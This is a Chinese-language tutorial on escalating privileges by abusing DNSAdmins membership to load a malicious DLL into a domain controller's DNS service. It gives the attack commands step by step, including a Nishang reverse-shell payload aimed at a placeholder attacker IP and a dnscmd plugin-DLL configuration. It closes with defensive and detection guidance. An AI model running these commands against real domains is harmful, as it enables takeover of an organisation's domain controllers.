在域控中滥用DNSAdmins权限的危害
字数 1234 2025-08-27 12:33:30
滥用DNSAdmins权限进行域内提权攻击详解
攻击原理概述
DNSAdmins组成员或对DNS服务具有写权限的用户可以加载任意DLL到DNS服务中,由于DNS服务通常以SYSTEM权限运行,这可能导致权限提升。在企业环境中,域控制器通常也作为DNS服务器,使得这种攻击尤为危险。
攻击前提条件
- 攻击者需要是DNSAdmins组成员
- 或者对SYSTEM权限下的DNS服务具有写权限
- 能够加载任意DLL到目标系统
攻击步骤详解
1. 信息收集
使用PowerView检查DNSAdmins组成员:
Get-NetGroupMember -GroupName "DNSAdmins"
2. 定位目标用户
使用PowerView的Invoke-UserHunter寻找目标用户的可用token:
Invoke-UserHunter -UserName buildadmin
3. 准备恶意DLL
推荐使用修改版的mimilib.dll:
- 原始版本:记录DNS请求到
C:\Windows\system32\kiwidns.log - 可修改版本:插入Nishang的PowerShell反弹脚本
修改kdns.c文件,插入编码后的PowerShell反弹脚本:
Invoke-Encode -ScriptBlock {Invoke-PowerShellTcpOneLine -Reverse -IPAddress [ATTACKER_IP] -Port [PORT]}
4. 加载恶意DLL
使用dnscmd命令配置DNS服务加载恶意DLL:
dnscmd ops_dc /config /serverlevelplugindll \\ops-build\dll\mimilib.dll
注意:DLL必须通过UNC路径或本地路径加载,且路径必须能被域控访问。
5. 验证DLL加载
检查注册表确认DLL是否成功加载:
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
6. 重启DNS服务
需要本地管理员权限重启DNS服务:
sc \\ops-dc stop dns
sc \\ops-dc start dns
7. 获取权限
成功加载后:
- 如果DNS服务运行在域控上:获得域控的SYSTEM权限
- 如果DNS服务不在域控上:获得DNS服务器的SYSTEM权限
攻击场景分析
-
域控与DNS服务器同一主机:
- 最危险的情况
- 可直接获得域控的SYSTEM权限
- 完全控制域环境
-
域控与DNS服务器分离:
- 获得DNS服务器的SYSTEM权限
- 可控制DNS服务但无法直接控制域控
防御与检测措施
防御措施
- 严格审查DNSAdmins组成员
- 限制对DNS服务器对象的权限
- 监控DNS服务配置变更
检测方法
-
事件日志监控:
- DNS服务重启事件:
- 事件ID 150:重启失败
- 事件ID 770:重启成功
- Microsoft-Windows-DNS-Server/Audit日志中的事件ID 541
- DNS服务重启事件:
-
注册表监控:
- 监控
HKLM:\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll的变更
- 监控
-
文件监控:
- 监控
C:\Windows\system32\kiwidns.log的创建和修改
- 监控
技术要点总结
-
DLL加载限制:
- 必须使用绝对路径
- 支持UNC路径但不支持
c$等管理共享 - 不支持HTTP等远程协议加载
-
权限要求:
- 需要DNSAdmins权限或DNS服务写权限
- 重启DNS服务需要本地管理员权限
-
攻击影响:
- 可能导致完全域控沦陷
- 攻击隐蔽性较高